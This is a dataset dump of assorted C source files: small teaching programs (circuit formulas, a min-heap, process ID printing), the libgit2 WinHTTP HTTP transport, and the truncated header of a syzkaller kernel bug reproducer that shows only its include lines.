file
stringlengths 18
26
| data
stringlengths 3
1.04M
|
|---|---|
the_stack_data/187642762.c
|
double vin(double r1, double r2, double vout) {
return vout * (r1 + r2) / r2;
}
double vout(double r1, double r2, double vin) {
return vin * r2 / (r1 + r2);
}
double r1(double r2, double vin, double vout) {
return r2 * (vin - vout) / vout;
}
double r2(double r1, double vin, double vout) {
return r1 * vout / (vin - vout);
}
double p_r1(double r1, double vin, double vout) {
double v = vin - vout;
return v * v / r1;
}
double p_r2(double r2, double vout) {
return vout * vout / r2;
}
double i_r1(double r1, double vin, double vout) {
return (vin - vout) / r1;
}
double rth(double r1, double r2) {
return r1 * r2 / (r1 + r2);
}
|
the_stack_data/364074.c
|
#include<stdio.h>
int sum(int firstN, int secondN);
void main(){
int total, a, b;
scanf("%d %d",&a,&b);
total = sum(a,b);
printf("%d",total);
}
int sum(int firstN, int secondN){
return (firstN+secondN);
}
|
the_stack_data/73575306.c
|
#include <stdio.h>
void foo() {
puts("foo() was called from static library");
}
|
the_stack_data/90763738.c
|
#include <stdio.h>
int heap[100000];
int heap_size;
int is_empty()
{
if(!heap_size) return 1;
else return 0;
}
void insert_min_heap(int num)
{
int cur = ++heap_size;
while(cur != 1)
{
if(heap[cur/2] > num)
heap[cur] = heap[cur/2];
else break;
cur /= 2;
}
heap[cur] = num;
}
int delete_min_heap(void)
{
int item = heap[1];
int tmp = heap[heap_size--];
int cur = 2;
while(cur <= heap_size)
{
int minind = heap[cur] < heap[cur+1] ? cur : cur+1;
if(heap[minind] < tmp) heap[cur/2] = heap[minind];
else break;
cur = minind * 2;
}
heap[cur/2] = tmp;
return item;
}
int main(void)
{
int N;
scanf("%d", &N);
int i;
int num;
heap_size = 0;
for(i=0;i<N;i++)
{
scanf("%d", &num);
if(num) insert_min_heap(num);
else
{
if(is_empty()) printf("0\n");
else
printf("%d\n", delete_min_heap());
}
}
return 0;
}
|
the_stack_data/162642226.c
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
int main(int argc, char const *argv[])
{
printf("Process ID: %d\n", getpid());
printf("Parent Process ID: %d\n", getppid());
printf("Real User ID: %u\n", getuid());
printf("Effective User ID: %u\n", geteuid());
printf("Real Group ID: %u\n", getgid());
printf("Effective Group ID: %u\n", getegid());
return 0;
}
|
the_stack_data/103560.c
|
/*
* Copyright (C) the libgit2 contributors. All rights reserved.
*
* This file is part of libgit2, distributed under the GNU GPL v2 with
* a Linking Exception. For full terms see the included COPYING file.
*/
#ifdef GIT_WINHTTP
#include "git2.h"
#include "git2/transport.h"
#include "buffer.h"
#include "posix.h"
#include "netops.h"
#include "smart.h"
#include "remote.h"
#include "repository.h"
#include <winhttp.h>
#pragma comment(lib, "winhttp")
#include <strsafe.h>
/* For UuidCreate */
#pragma comment(lib, "rpcrt4")
#define WIDEN2(s) L ## s
#define WIDEN(s) WIDEN2(s)
#define MAX_CONTENT_TYPE_LEN 100
#define WINHTTP_OPTION_PEERDIST_EXTENSION_STATE 109
#define CACHED_POST_BODY_BUF_SIZE 4096
#define UUID_LENGTH_CCH 32
static const char *prefix_http = "http://";
static const char *prefix_https = "https://";
static const char *upload_pack_service = "upload-pack";
static const char *upload_pack_ls_service_url = "/info/refs?service=git-upload-pack";
static const char *upload_pack_service_url = "/git-upload-pack";
static const char *receive_pack_service = "receive-pack";
static const char *receive_pack_ls_service_url = "/info/refs?service=git-receive-pack";
static const char *receive_pack_service_url = "/git-receive-pack";
static const wchar_t *get_verb = L"GET";
static const wchar_t *post_verb = L"POST";
static const wchar_t *pragma_nocache = L"Pragma: no-cache";
static const wchar_t *transfer_encoding = L"Transfer-Encoding: chunked";
static const int no_check_cert_flags = SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
SECURITY_FLAG_IGNORE_UNKNOWN_CA;
#define OWNING_SUBTRANSPORT(s) ((winhttp_subtransport *)(s)->parent.subtransport)
typedef enum {
GIT_WINHTTP_AUTH_BASIC = 1,
} winhttp_authmechanism_t;
typedef struct {
git_smart_subtransport_stream parent;
const char *service;
const char *service_url;
const wchar_t *verb;
HINTERNET request;
wchar_t *request_uri;
char *chunk_buffer;
unsigned chunk_buffer_len;
HANDLE post_body;
DWORD post_body_len;
unsigned sent_request : 1,
received_response : 1,
chunked : 1;
} winhttp_stream;
typedef struct {
git_smart_subtransport parent;
transport_smart *owner;
gitno_connection_data connection_data;
git_cred *cred;
git_cred *url_cred;
int auth_mechanism;
HINTERNET session;
HINTERNET connection;
} winhttp_subtransport;
static int apply_basic_credential(HINTERNET request, git_cred *cred)
{
git_cred_userpass_plaintext *c = (git_cred_userpass_plaintext *)cred;
git_buf buf = GIT_BUF_INIT, raw = GIT_BUF_INIT;
wchar_t *wide = NULL;
int error = -1, wide_len = 0;
git_buf_printf(&raw, "%s:%s", c->username, c->password);
if (git_buf_oom(&raw) ||
git_buf_puts(&buf, "Authorization: Basic ") < 0 ||
git_buf_put_base64(&buf, git_buf_cstr(&raw), raw.size) < 0)
goto on_error;
wide_len = MultiByteToWideChar(CP_UTF8, MB_ERR_INVALID_CHARS,
git_buf_cstr(&buf), -1, NULL, 0);
if (!wide_len) {
giterr_set(GITERR_OS, "Failed to measure string for wide conversion");
goto on_error;
}
wide = git__malloc(wide_len * sizeof(wchar_t));
if (!wide)
goto on_error;
if (!MultiByteToWideChar(CP_UTF8, MB_ERR_INVALID_CHARS,
git_buf_cstr(&buf), -1, wide, wide_len)) {
giterr_set(GITERR_OS, "Failed to convert string to wide form");
goto on_error;
}
if (!WinHttpAddRequestHeaders(request, wide, (ULONG) -1L, WINHTTP_ADDREQ_FLAG_ADD)) {
giterr_set(GITERR_OS, "Failed to add a header to the request");
goto on_error;
}
error = 0;
on_error:
/* We were dealing with plaintext passwords, so clean up after ourselves a bit. */
if (wide)
memset(wide, 0x0, wide_len * sizeof(wchar_t));
if (buf.size)
memset(buf.ptr, 0x0, buf.size);
if (raw.size)
memset(raw.ptr, 0x0, raw.size);
git__free(wide);
git_buf_free(&buf);
git_buf_free(&raw);
return error;
}
static int winhttp_stream_connect(winhttp_stream *s)
{
winhttp_subtransport *t = OWNING_SUBTRANSPORT(s);
git_buf buf = GIT_BUF_INIT;
char *proxy_url = NULL;
wchar_t ct[MAX_CONTENT_TYPE_LEN];
wchar_t *types[] = { L"*/*", NULL };
BOOL peerdist = FALSE;
int error = -1, wide_len;
unsigned long disable_redirects = WINHTTP_DISABLE_REDIRECTS;
/* Prepare URL */
git_buf_printf(&buf, "%s%s", t->connection_data.path, s->service_url);
if (git_buf_oom(&buf))
return -1;
/* Convert URL to wide characters */
wide_len = MultiByteToWideChar(CP_UTF8, MB_ERR_INVALID_CHARS,
git_buf_cstr(&buf), -1, NULL, 0);
if (!wide_len) {
giterr_set(GITERR_OS, "Failed to measure string for wide conversion");
goto on_error;
}
s->request_uri = git__malloc(wide_len * sizeof(wchar_t));
if (!s->request_uri)
goto on_error;
if (!MultiByteToWideChar(CP_UTF8, MB_ERR_INVALID_CHARS,
git_buf_cstr(&buf), -1, s->request_uri, wide_len)) {
giterr_set(GITERR_OS, "Failed to convert string to wide form");
goto on_error;
}
/* Establish request */
s->request = WinHttpOpenRequest(
t->connection,
s->verb,
s->request_uri,
NULL,
WINHTTP_NO_REFERER,
types,
t->connection_data.use_ssl ? WINHTTP_FLAG_SECURE : 0);
if (!s->request) {
giterr_set(GITERR_OS, "Failed to open request");
goto on_error;
}
/* Set proxy if necessary */
if (git_remote__get_http_proxy(t->owner->owner, !!t->connection_data.use_ssl, &proxy_url) < 0)
goto on_error;
if (proxy_url) {
WINHTTP_PROXY_INFO proxy_info;
wchar_t *proxy_wide;
/* Convert URL to wide characters */
wide_len = MultiByteToWideChar(CP_UTF8, MB_ERR_INVALID_CHARS,
proxy_url, -1, NULL, 0);
if (!wide_len) {
giterr_set(GITERR_OS, "Failed to measure string for wide conversion");
goto on_error;
}
proxy_wide = git__malloc(wide_len * sizeof(wchar_t));
if (!proxy_wide)
goto on_error;
if (!MultiByteToWideChar(CP_UTF8, MB_ERR_INVALID_CHARS,
proxy_url, -1, proxy_wide, wide_len)) {
giterr_set(GITERR_OS, "Failed to convert string to wide form");
git__free(proxy_wide);
goto on_error;
}
/* Strip any trailing forward slash on the proxy URL;
* WinHTTP doesn't like it if one is present */
if (wide_len > 1 && L'/' == proxy_wide[wide_len - 2])
proxy_wide[wide_len - 2] = L'\0';
proxy_info.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
proxy_info.lpszProxy = proxy_wide;
proxy_info.lpszProxyBypass = NULL;
if (!WinHttpSetOption(s->request,
WINHTTP_OPTION_PROXY,
&proxy_info,
sizeof(WINHTTP_PROXY_INFO))) {
giterr_set(GITERR_OS, "Failed to set proxy");
git__free(proxy_wide);
goto on_error;
}
git__free(proxy_wide);
}
/* Disable WinHTTP redirects so we can handle them manually. Why, you ask?
* http://social.msdn.microsoft.com/Forums/windowsdesktop/en-US/b2ff8879-ab9f-4218-8f09-16d25dff87ae
*/
if (!WinHttpSetOption(s->request,
WINHTTP_OPTION_DISABLE_FEATURE,
&disable_redirects,
sizeof(disable_redirects))) {
giterr_set(GITERR_OS, "Failed to disable redirects");
goto on_error;
}
/* Strip unwanted headers (X-P2P-PeerDist, X-P2P-PeerDistEx) that WinHTTP
* adds itself. This option may not be supported by the underlying
* platform, so we do not error-check it */
WinHttpSetOption(s->request,
WINHTTP_OPTION_PEERDIST_EXTENSION_STATE,
&peerdist,
sizeof(peerdist));
/* Send Pragma: no-cache header */
if (!WinHttpAddRequestHeaders(s->request, pragma_nocache, (ULONG) -1L, WINHTTP_ADDREQ_FLAG_ADD)) {
giterr_set(GITERR_OS, "Failed to add a header to the request");
goto on_error;
}
if (post_verb == s->verb) {
/* Send Content-Type and Accept headers -- only necessary on a POST */
git_buf_clear(&buf);
if (git_buf_printf(&buf,
"Content-Type: application/x-git-%s-request\r\n"
"Accept: application/x-git-%s-result\r\n",
s->service, s->service) < 0)
goto on_error;
git__utf8_to_16(ct, MAX_CONTENT_TYPE_LEN, git_buf_cstr(&buf));
if (!WinHttpAddRequestHeaders(s->request, ct, (ULONG) -1L,
WINHTTP_ADDREQ_FLAG_ADD | WINHTTP_ADDREQ_FLAG_REPLACE)) {
giterr_set(GITERR_OS, "Failed to add a header to the request");
goto on_error;
}
}
/* If requested, disable certificate validation */
if (t->connection_data.use_ssl) {
int flags;
if (t->owner->parent.read_flags(&t->owner->parent, &flags) < 0)
goto on_error;
if ((GIT_TRANSPORTFLAGS_NO_CHECK_CERT & flags) &&
!WinHttpSetOption(s->request, WINHTTP_OPTION_SECURITY_FLAGS,
(LPVOID)&no_check_cert_flags, sizeof(no_check_cert_flags))) {
giterr_set(GITERR_OS, "Failed to set options to ignore cert errors");
goto on_error;
}
}
/* If we have a credential on the subtransport, apply it to the request */
if (t->cred &&
t->cred->credtype == GIT_CREDTYPE_USERPASS_PLAINTEXT &&
t->auth_mechanism == GIT_WINHTTP_AUTH_BASIC &&
apply_basic_credential(s->request, t->cred) < 0)
goto on_error;
/* If no other credentials have been applied and the URL has username and
* password, use those */
if (!t->cred && t->connection_data.user && t->connection_data.pass) {
if (!t->url_cred &&
git_cred_userpass_plaintext_new(&t->url_cred, t->connection_data.user, t->connection_data.pass) < 0)
goto on_error;
if (apply_basic_credential(s->request, t->url_cred) < 0)
goto on_error;
}
/* We've done everything up to calling WinHttpSendRequest. */
error = 0;
on_error:
git__free(proxy_url);
git_buf_free(&buf);
return error;
}
static int parse_unauthorized_response(
HINTERNET request,
int *allowed_types,
int *auth_mechanism)
{
DWORD supported, first, target;
*allowed_types = 0;
*auth_mechanism = 0;
/* WinHttpQueryHeaders() must be called before WinHttpQueryAuthSchemes().
* We can assume this was already done, since we know we are unauthorized.
*/
if (!WinHttpQueryAuthSchemes(request, &supported, &first, &target)) {
giterr_set(GITERR_OS, "Failed to parse supported auth schemes");
return -1;
}
if (WINHTTP_AUTH_SCHEME_BASIC & supported) {
*allowed_types |= GIT_CREDTYPE_USERPASS_PLAINTEXT;
*auth_mechanism = GIT_WINHTTP_AUTH_BASIC;
}
return 0;
}
static int write_chunk(HINTERNET request, const char *buffer, size_t len)
{
DWORD bytes_written;
git_buf buf = GIT_BUF_INIT;
/* Chunk header */
git_buf_printf(&buf, "%X\r\n", len);
if (git_buf_oom(&buf))
return -1;
if (!WinHttpWriteData(request,
git_buf_cstr(&buf), (DWORD)git_buf_len(&buf),
&bytes_written)) {
git_buf_free(&buf);
giterr_set(GITERR_OS, "Failed to write chunk header");
return -1;
}
git_buf_free(&buf);
/* Chunk body */
if (!WinHttpWriteData(request,
buffer, (DWORD)len,
&bytes_written)) {
giterr_set(GITERR_OS, "Failed to write chunk");
return -1;
}
/* Chunk footer */
if (!WinHttpWriteData(request,
"\r\n", 2,
&bytes_written)) {
giterr_set(GITERR_OS, "Failed to write chunk footer");
return -1;
}
return 0;
}
static int winhttp_connect(
winhttp_subtransport *t,
const char *url)
{
wchar_t *ua = L"git/1.0 (libgit2 " WIDEN(LIBGIT2_VERSION) L")";
git_win32_path host;
int32_t port;
const char *default_port = "80";
/* Prepare port */
if (git__strtol32(&port, t->connection_data.port, NULL, 10) < 0)
return -1;
/* Prepare host */
git_win32_path_from_c(host, t->connection_data.host);
/* Establish session */
t->session = WinHttpOpen(
ua,
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS,
0);
if (!t->session) {
giterr_set(GITERR_OS, "Failed to init WinHTTP");
return -1;
}
/* Establish connection */
t->connection = WinHttpConnect(
t->session,
host,
(INTERNET_PORT) port,
0);
if (!t->connection) {
giterr_set(GITERR_OS, "Failed to connect to host");
return -1;
}
return 0;
}
static int winhttp_stream_read(
git_smart_subtransport_stream *stream,
char *buffer,
size_t buf_size,
size_t *bytes_read)
{
winhttp_stream *s = (winhttp_stream *)stream;
winhttp_subtransport *t = OWNING_SUBTRANSPORT(s);
DWORD dw_bytes_read;
char replay_count = 0;
replay:
/* Enforce a reasonable cap on the number of replays */
if (++replay_count >= 7) {
giterr_set(GITERR_NET, "Too many redirects or authentication replays");
return -1;
}
/* Connect if necessary */
if (!s->request && winhttp_stream_connect(s) < 0)
return -1;
if (!s->received_response) {
DWORD status_code, status_code_length, content_type_length, bytes_written;
char expected_content_type_8[MAX_CONTENT_TYPE_LEN];
wchar_t expected_content_type[MAX_CONTENT_TYPE_LEN], content_type[MAX_CONTENT_TYPE_LEN];
if (!s->sent_request) {
if (!WinHttpSendRequest(s->request,
WINHTTP_NO_ADDITIONAL_HEADERS, 0,
WINHTTP_NO_REQUEST_DATA, 0,
s->post_body_len, 0)) {
giterr_set(GITERR_OS, "Failed to send request");
return -1;
}
s->sent_request = 1;
}
if (s->chunked) {
assert(s->verb == post_verb);
/* Flush, if necessary */
if (s->chunk_buffer_len > 0 &&
write_chunk(s->request, s->chunk_buffer, s->chunk_buffer_len) < 0)
return -1;
s->chunk_buffer_len = 0;
/* Write the final chunk. */
if (!WinHttpWriteData(s->request,
"0\r\n\r\n", 5,
&bytes_written)) {
giterr_set(GITERR_OS, "Failed to write final chunk");
return -1;
}
}
else if (s->post_body) {
char *buffer;
DWORD len = s->post_body_len, bytes_read;
if (INVALID_SET_FILE_POINTER == SetFilePointer(s->post_body,
0, 0, FILE_BEGIN) &&
NO_ERROR != GetLastError()) {
giterr_set(GITERR_OS, "Failed to reset file pointer");
return -1;
}
buffer = git__malloc(CACHED_POST_BODY_BUF_SIZE);
while (len > 0) {
DWORD bytes_written;
if (!ReadFile(s->post_body, buffer,
min(CACHED_POST_BODY_BUF_SIZE, len),
&bytes_read, NULL) ||
!bytes_read) {
git__free(buffer);
giterr_set(GITERR_OS, "Failed to read from temp file");
return -1;
}
if (!WinHttpWriteData(s->request, buffer,
bytes_read, &bytes_written)) {
git__free(buffer);
giterr_set(GITERR_OS, "Failed to write data");
return -1;
}
len -= bytes_read;
assert(bytes_read == bytes_written);
}
git__free(buffer);
/* Eagerly close the temp file */
CloseHandle(s->post_body);
s->post_body = NULL;
}
if (!WinHttpReceiveResponse(s->request, 0)) {
giterr_set(GITERR_OS, "Failed to receive response");
return -1;
}
/* Verify that we got a 200 back */
status_code_length = sizeof(status_code);
if (!WinHttpQueryHeaders(s->request,
WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
WINHTTP_HEADER_NAME_BY_INDEX,
&status_code, &status_code_length,
WINHTTP_NO_HEADER_INDEX)) {
giterr_set(GITERR_OS, "Failed to retrieve status code");
return -1;
}
/* The implementation of WinHTTP prior to Windows 7 will not
* redirect to an identical URI. Some Git hosters use self-redirects
* as part of their DoS mitigation strategy. Check first to see if we
* have a redirect status code, and that we haven't already streamed
* a post body. (We can't replay a streamed POST.) */
if (!s->chunked &&
(HTTP_STATUS_MOVED == status_code ||
HTTP_STATUS_REDIRECT == status_code ||
(HTTP_STATUS_REDIRECT_METHOD == status_code &&
get_verb == s->verb) ||
HTTP_STATUS_REDIRECT_KEEP_VERB == status_code)) {
/* Check for Windows 7. This workaround is only necessary on
* Windows Vista and earlier. Windows 7 is version 6.1. */
wchar_t *location;
DWORD location_length;
char *location8;
/* OK, fetch the Location header from the redirect. */
if (WinHttpQueryHeaders(s->request,
WINHTTP_QUERY_LOCATION,
WINHTTP_HEADER_NAME_BY_INDEX,
WINHTTP_NO_OUTPUT_BUFFER,
&location_length,
WINHTTP_NO_HEADER_INDEX) ||
GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
giterr_set(GITERR_OS, "Failed to read Location header");
return -1;
}
location = git__malloc(location_length);
location8 = git__malloc(location_length);
GITERR_CHECK_ALLOC(location);
if (!WinHttpQueryHeaders(s->request,
WINHTTP_QUERY_LOCATION,
WINHTTP_HEADER_NAME_BY_INDEX,
location,
&location_length,
WINHTTP_NO_HEADER_INDEX)) {
giterr_set(GITERR_OS, "Failed to read Location header");
git__free(location);
return -1;
}
git__utf16_to_8(location8, location_length, location);
git__free(location);
/* Replay the request */
WinHttpCloseHandle(s->request);
s->request = NULL;
s->sent_request = 0;
if (!git__prefixcmp_icase(location8, prefix_https)) {
/* Upgrade to secure connection; disconnect and start over */
if (gitno_connection_data_from_url(&t->connection_data, location8, s->service_url) < 0)
return -1;
winhttp_connect(t, location8);
}
git__free(location8);
goto replay;
}
/* Handle authentication failures */
if (HTTP_STATUS_DENIED == status_code &&
get_verb == s->verb && t->owner->cred_acquire_cb) {
int allowed_types;
if (parse_unauthorized_response(s->request, &allowed_types, &t->auth_mechanism) < 0)
return -1;
if (allowed_types &&
(!t->cred || 0 == (t->cred->credtype & allowed_types))) {
if (t->owner->cred_acquire_cb(&t->cred, t->owner->url, t->connection_data.user, allowed_types,
t->owner->cred_acquire_payload) < 0)
return -1;
assert(t->cred);
WinHttpCloseHandle(s->request);
s->request = NULL;
s->sent_request = 0;
/* Successfully acquired a credential */
goto replay;
}
}
if (HTTP_STATUS_OK != status_code) {
giterr_set(GITERR_NET, "Request failed with status code: %d", status_code);
return -1;
}
/* Verify that we got the correct content-type back */
if (post_verb == s->verb)
snprintf(expected_content_type_8, MAX_CONTENT_TYPE_LEN, "application/x-git-%s-result", s->service);
else
snprintf(expected_content_type_8, MAX_CONTENT_TYPE_LEN, "application/x-git-%s-advertisement", s->service);
git__utf8_to_16(expected_content_type, MAX_CONTENT_TYPE_LEN, expected_content_type_8);
content_type_length = sizeof(content_type);
if (!WinHttpQueryHeaders(s->request,
WINHTTP_QUERY_CONTENT_TYPE,
WINHTTP_HEADER_NAME_BY_INDEX,
&content_type, &content_type_length,
WINHTTP_NO_HEADER_INDEX)) {
giterr_set(GITERR_OS, "Failed to retrieve response content-type");
return -1;
}
if (wcscmp(expected_content_type, content_type)) {
giterr_set(GITERR_NET, "Received unexpected content-type");
return -1;
}
s->received_response = 1;
}
if (!WinHttpReadData(s->request,
(LPVOID)buffer,
(DWORD)buf_size,
&dw_bytes_read))
{
giterr_set(GITERR_OS, "Failed to read data");
return -1;
}
*bytes_read = dw_bytes_read;
return 0;
}
static int winhttp_stream_write_single(
git_smart_subtransport_stream *stream,
const char *buffer,
size_t len)
{
winhttp_stream *s = (winhttp_stream *)stream;
winhttp_subtransport *t = OWNING_SUBTRANSPORT(s);
DWORD bytes_written;
if (!s->request && winhttp_stream_connect(s) < 0)
return -1;
/* This implementation of write permits only a single call. */
if (s->sent_request) {
giterr_set(GITERR_NET, "Subtransport configured for only one write");
return -1;
}
if (!WinHttpSendRequest(s->request,
WINHTTP_NO_ADDITIONAL_HEADERS, 0,
WINHTTP_NO_REQUEST_DATA, 0,
(DWORD)len, 0)) {
giterr_set(GITERR_OS, "Failed to send request");
return -1;
}
s->sent_request = 1;
if (!WinHttpWriteData(s->request,
(LPCVOID)buffer,
(DWORD)len,
&bytes_written)) {
giterr_set(GITERR_OS, "Failed to write data");
return -1;
}
assert((DWORD)len == bytes_written);
return 0;
}
static int put_uuid_string(LPWSTR buffer, size_t buffer_len_cch)
{
UUID uuid;
RPC_STATUS status = UuidCreate(&uuid);
HRESULT result;
if (RPC_S_OK != status &&
RPC_S_UUID_LOCAL_ONLY != status &&
RPC_S_UUID_NO_ADDRESS != status) {
giterr_set(GITERR_NET, "Unable to generate name for temp file");
return -1;
}
if (buffer_len_cch < UUID_LENGTH_CCH + 1) {
giterr_set(GITERR_NET, "Buffer too small for name of temp file");
return -1;
}
result = StringCbPrintfW(
buffer, buffer_len_cch,
L"%08x%04x%04x%02x%02x%02x%02x%02x%02x%02x%02x",
uuid.Data1, uuid.Data2, uuid.Data3,
uuid.Data4[0], uuid.Data4[1], uuid.Data4[2], uuid.Data4[3],
uuid.Data4[4], uuid.Data4[5], uuid.Data4[6], uuid.Data4[7]);
if (FAILED(result)) {
giterr_set(GITERR_OS, "Unable to generate name for temp file");
return -1;
}
return 0;
}
static int get_temp_file(LPWSTR buffer, DWORD buffer_len_cch)
{
size_t len;
if (!GetTempPathW(buffer_len_cch, buffer)) {
giterr_set(GITERR_OS, "Failed to get temp path");
return -1;
}
len = wcslen(buffer);
if (buffer[len - 1] != '\\' && len < buffer_len_cch)
buffer[len++] = '\\';
if (put_uuid_string(&buffer[len], (size_t)buffer_len_cch - len) < 0)
return -1;
return 0;
}
static int winhttp_stream_write_buffered(
git_smart_subtransport_stream *stream,
const char *buffer,
size_t len)
{
winhttp_stream *s = (winhttp_stream *)stream;
winhttp_subtransport *t = OWNING_SUBTRANSPORT(s);
DWORD bytes_written;
if (!s->request && winhttp_stream_connect(s) < 0)
return -1;
/* Buffer the payload, using a temporary file so we delegate
* memory management of the data to the operating system. */
if (!s->post_body) {
wchar_t temp_path[MAX_PATH + 1];
if (get_temp_file(temp_path, MAX_PATH + 1) < 0)
return -1;
s->post_body = CreateFileW(temp_path,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_DELETE, NULL,
CREATE_NEW,
FILE_ATTRIBUTE_TEMPORARY | FILE_FLAG_DELETE_ON_CLOSE | FILE_FLAG_SEQUENTIAL_SCAN,
NULL);
if (INVALID_HANDLE_VALUE == s->post_body) {
s->post_body = NULL;
giterr_set(GITERR_OS, "Failed to create temporary file");
return -1;
}
}
if (!WriteFile(s->post_body, buffer, (DWORD)len, &bytes_written, NULL)) {
giterr_set(GITERR_OS, "Failed to write to temporary file");
return -1;
}
assert((DWORD)len == bytes_written);
s->post_body_len += bytes_written;
return 0;
}
static int winhttp_stream_write_chunked(
git_smart_subtransport_stream *stream,
const char *buffer,
size_t len)
{
winhttp_stream *s = (winhttp_stream *)stream;
winhttp_subtransport *t = OWNING_SUBTRANSPORT(s);
if (!s->request && winhttp_stream_connect(s) < 0)
return -1;
if (!s->sent_request) {
/* Send Transfer-Encoding: chunked header */
if (!WinHttpAddRequestHeaders(s->request,
transfer_encoding, (ULONG) -1L,
WINHTTP_ADDREQ_FLAG_ADD)) {
giterr_set(GITERR_OS, "Failed to add a header to the request");
return -1;
}
if (!WinHttpSendRequest(s->request,
WINHTTP_NO_ADDITIONAL_HEADERS, 0,
WINHTTP_NO_REQUEST_DATA, 0,
WINHTTP_IGNORE_REQUEST_TOTAL_LENGTH, 0)) {
giterr_set(GITERR_OS, "Failed to send request");
return -1;
}
s->sent_request = 1;
}
if (len > CACHED_POST_BODY_BUF_SIZE) {
/* Flush, if necessary */
if (s->chunk_buffer_len > 0) {
if (write_chunk(s->request, s->chunk_buffer, s->chunk_buffer_len) < 0)
return -1;
s->chunk_buffer_len = 0;
}
/* Write chunk directly */
if (write_chunk(s->request, buffer, len) < 0)
return -1;
}
else {
/* Append as much to the buffer as we can */
int count = min(CACHED_POST_BODY_BUF_SIZE - s->chunk_buffer_len, (int)len);
if (!s->chunk_buffer)
s->chunk_buffer = git__malloc(CACHED_POST_BODY_BUF_SIZE);
memcpy(s->chunk_buffer + s->chunk_buffer_len, buffer, count);
s->chunk_buffer_len += count;
buffer += count;
len -= count;
/* Is the buffer full? If so, then flush */
if (CACHED_POST_BODY_BUF_SIZE == s->chunk_buffer_len) {
if (write_chunk(s->request, s->chunk_buffer, s->chunk_buffer_len) < 0)
return -1;
s->chunk_buffer_len = 0;
/* Is there any remaining data from the source? */
if (len > 0) {
memcpy(s->chunk_buffer, buffer, len);
s->chunk_buffer_len = (unsigned int)len;
}
}
}
return 0;
}
static void winhttp_stream_free(git_smart_subtransport_stream *stream)
{
winhttp_stream *s = (winhttp_stream *)stream;
if (s->chunk_buffer) {
git__free(s->chunk_buffer);
s->chunk_buffer = NULL;
}
if (s->post_body) {
CloseHandle(s->post_body);
s->post_body = NULL;
}
if (s->request_uri) {
git__free(s->request_uri);
s->request_uri = NULL;
}
if (s->request) {
WinHttpCloseHandle(s->request);
s->request = NULL;
}
git__free(s);
}
static int winhttp_stream_alloc(winhttp_subtransport *t, winhttp_stream **stream)
{
winhttp_stream *s;
if (!stream)
return -1;
s = git__calloc(sizeof(winhttp_stream), 1);
GITERR_CHECK_ALLOC(s);
s->parent.subtransport = &t->parent;
s->parent.read = winhttp_stream_read;
s->parent.write = winhttp_stream_write_single;
s->parent.free = winhttp_stream_free;
*stream = s;
return 0;
}
static int winhttp_uploadpack_ls(
winhttp_subtransport *t,
winhttp_stream *s)
{
s->service = upload_pack_service;
s->service_url = upload_pack_ls_service_url;
s->verb = get_verb;
return 0;
}
static int winhttp_uploadpack(
winhttp_subtransport *t,
winhttp_stream *s)
{
s->service = upload_pack_service;
s->service_url = upload_pack_service_url;
s->verb = post_verb;
return 0;
}
static int winhttp_receivepack_ls(
winhttp_subtransport *t,
winhttp_stream *s)
{
s->service = receive_pack_service;
s->service_url = receive_pack_ls_service_url;
s->verb = get_verb;
return 0;
}
static int winhttp_receivepack(
winhttp_subtransport *t,
winhttp_stream *s)
{
/* WinHTTP only supports Transfer-Encoding: chunked
* on Windows Vista (NT 6.0) and higher. */
s->chunked = git_has_win32_version(6, 0, 0);
if (s->chunked)
s->parent.write = winhttp_stream_write_chunked;
else
s->parent.write = winhttp_stream_write_buffered;
s->service = receive_pack_service;
s->service_url = receive_pack_service_url;
s->verb = post_verb;
return 0;
}
static int winhttp_action(
git_smart_subtransport_stream **stream,
git_smart_subtransport *subtransport,
const char *url,
git_smart_service_t action)
{
winhttp_subtransport *t = (winhttp_subtransport *)subtransport;
winhttp_stream *s;
int ret = -1;
if (!t->connection)
if (gitno_connection_data_from_url(&t->connection_data, url, NULL) < 0 ||
winhttp_connect(t, url) < 0)
return -1;
if (winhttp_stream_alloc(t, &s) < 0)
return -1;
if (!stream)
return -1;
switch (action)
{
case GIT_SERVICE_UPLOADPACK_LS:
ret = winhttp_uploadpack_ls(t, s);
break;
case GIT_SERVICE_UPLOADPACK:
ret = winhttp_uploadpack(t, s);
break;
case GIT_SERVICE_RECEIVEPACK_LS:
ret = winhttp_receivepack_ls(t, s);
break;
case GIT_SERVICE_RECEIVEPACK:
ret = winhttp_receivepack(t, s);
break;
default:
assert(0);
}
if (!ret)
*stream = &s->parent;
return ret;
}
static int winhttp_close(git_smart_subtransport *subtransport)
{
winhttp_subtransport *t = (winhttp_subtransport *)subtransport;
int ret = 0;
gitno_connection_data_free_ptrs(&t->connection_data);
if (t->cred) {
t->cred->free(t->cred);
t->cred = NULL;
}
if (t->url_cred) {
t->url_cred->free(t->url_cred);
t->url_cred = NULL;
}
if (t->connection) {
if (!WinHttpCloseHandle(t->connection)) {
giterr_set(GITERR_OS, "Unable to close connection");
ret = -1;
}
t->connection = NULL;
}
if (t->session) {
if (!WinHttpCloseHandle(t->session)) {
giterr_set(GITERR_OS, "Unable to close session");
ret = -1;
}
t->session = NULL;
}
return ret;
}
static void winhttp_free(git_smart_subtransport *subtransport)
{
winhttp_subtransport *t = (winhttp_subtransport *)subtransport;
winhttp_close(subtransport);
git__free(t);
}
int git_smart_subtransport_http(git_smart_subtransport **out, git_transport *owner)
{
winhttp_subtransport *t;
if (!out)
return -1;
t = git__calloc(sizeof(winhttp_subtransport), 1);
GITERR_CHECK_ALLOC(t);
t->owner = (transport_smart *)owner;
t->parent.action = winhttp_action;
t->parent.close = winhttp_close;
t->parent.free = winhttp_free;
*out = (git_smart_subtransport *) t;
return 0;
}
#endif /* GIT_WINHTTP */
|
the_stack_data/124226.c
|
// KASAN: stack-out-of-bounds Read in corrupted (2)
// https://syzkaller.appspot.com/bug?id=e0eca84f0d8ceda00c5ecdd3779429ef5fc49cc9
// status:invalid
// autogenerated by syzkaller (http://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <errno.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/net.h>
